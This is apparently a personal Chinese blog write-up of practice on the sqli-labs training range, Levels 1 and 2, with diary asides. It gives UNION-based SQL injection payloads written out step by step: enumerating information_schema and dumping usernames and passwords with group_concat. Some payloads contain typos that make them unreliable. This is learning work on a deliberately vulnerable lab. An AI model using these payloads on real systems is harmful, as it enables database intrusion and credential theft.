• 靶场练习--sqli(1&2)


    前言

    懒猪赵肥肥耍了3天3夜,每天除了练英语口语,啥子都没干。今天开始发愤图强,嘻嘻~ 计划内容有:靶场、视频、python、PHP、java、计算机英语。

    首先,每天必搞靶场必看视频必学java和英语。2天硬性计划:15关,2视频,java学习4-6小时。......最后,如果我不学习,那我就是赵肥肥肥!

    0x01 第一关 

    Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

    1.首先判断闭合

    (# 作用:注释%23,记住在手工的时候最好改为URL编码)

     2.当id=1,或者id=1' ,的时候,才会报错。所以这里理解的“基于错误的get单引号字符型注入”的意思就是:通过单引号是否有报错然后

    然后判断是否有注入。所以在这里,我们通过报错来判断各种信息的准确性。

     

    所以这里,我们判断他的字段数为3

     3.接下来猜数据库(一般看到的是当前数据库),注意id后面就不要加东西了,要不然报出来的可能只是本次登录的dumb

    ?id= ' union select null,database(),3%23

    4.数据库名security拿到手,开始查看所有同类数据库名称

    ?id= ' union select null,(select group_concat(schema_name) from information_schema.schemata),null%23

     看到数据库的名字了,接下来看具体的表名。

    5.查找security数据库的所有表名

    ?id= 'union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = security and table_name = user)%23

     但是 数据库+表名 需要通过16进制的编码https://www.sojson.com/hexadecimal.html

    0x7365637572697479
    0x75736572
    ?id=%20%27union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%20=%200x7365637572697479%20and%20table_name%20=%200x75736572)%23

     然后费了很大力气,看不懂这些是啥。。

    错误原因:我在security数据库里面找有没有user这一列干嘛??要是没有找到,,那不就GG了。。所以我的sql注入盲区还有:认为注入就是瞎猜。。。我真是脑洞大开。。现在我们的目标是,在注入的时候,要让注入点吐出真正的东西,而不是自己去猜。

    所以我们这步正确的打开方式:查询security里面所有的表名!列名有:users、emails...

    ?id= ' union select null,null,(select group_concat(table_name) from information_schema.tables where table_schema=database())%23

     

    6.表名里面选择一个有价值的,爆破列名

    ?id= ' union select null,null,(select group_concat(column_name) from information_schema.columns where table_name='users')%23

    7.发现目标username和password,继续挖掘,发现用户名和密码

    ?id=%20%27%20union%20select null,null,(select group_concat(username,0x3a,password) from users)%23

    注意:group_concat函数,可以显示出具体的字符;group_concat(username,0x3a,password),这里面的0x3a就是起到一个分割的作用,如果我输入的是0x3b(;)那么出现的就是以分号为分隔符~

    总结第一关:老套路,看报错,返回完全正常,那就是OK的。返回页面有问题(不是404、403那些。。),就是you注入点。我们应该通过提示信息,先判断字段,再猜数据库名字---全部数据库---某个特殊数据库包含的表名----表名得列名--爆密码。https://www.cnblogs.com/-zhong/p/10877728.html

    【今天第一关!居然闯了一个半小时!啊!蠢货!明天继续】

     0x02 第二关

     GET - Error based - Intiger based (基于错误的GET整型注入)

     考研OR实习,我都苦恼几天了,每天做梦都是考研,又怕考上了耽搁了网络安全这条大船。毕竟成都网络空间安全少,走渗透更少。

    唉。今天也想了一上午。。唉。。奈何身边大佬太多,无论是应用型还是学术型,都是让人瞠目结舌。

    1.第一关加的 ' ,进行判断是否被过滤且通过返回错误查看是何种注入类型(字符型、数字型),在第二关这

    http://blog.sina.com.cn/s/blog_5a5c92980102xfqg.html

    3个字段,接下来猜数据库名

    奇怪的很,id=* union select null,select(database()),null%23 查看数据库名,但是根据id的值随便填写,爆出不同的字符很正常更感觉就是密码了。。。然后我这里错了,因为id的值为-1,才能爆出数据库名,原因是:

      

    通过security这个数据库,查看其他同级数据库(鸡肋???)

    (select group_concat(schema_name) from information_schema.schemata)

    还是进入security数据库,或者让他显示所有的表名

    • (select group_concat(table_name) from information_schema.tables where table_schema='security')
    • (select group_concat(table_name) from information_schema.tables where table_schema=databse())

    选择一个看起来顺眼的表:

    查找信息(列名),发现这个users表里面有形如password的敏感字段:

    (select group_concat(column_name) from information_schema.columns where table_name='users')

    显示密码:

    • schema_name -> table_name -> column_name,from后面的“单位”要和前面一致
    • 步骤不能乱,随意输入可能会显示出想要的信息,但是没有办法进一步继续
    • (,,,,,)括号里面用逗号
    • column column column
  • 相关阅读:
    [ACM] hdu 1671 Phone List (特里)
    Android 记录的(MediaRecorder)而播放(MediaPlayer)
    菜鸟进阶Android Touch事件传递(四)
    九度oj题目&吉大考研11年机试题全解
    怎样取消shutdown关机命令?-shutdown命令的使用解析
    怎样下载并编译Android4.0内核源代码goldfish(图文)
    三角函数图像
    HTML里面Textarea换行总结
    java中使用队列:java.util.Queue
    ContentProvider简单介绍
  • 原文地址:https://www.cnblogs.com/TEAM0N/p/11178481.html
Copyright © 2020-2023  润新知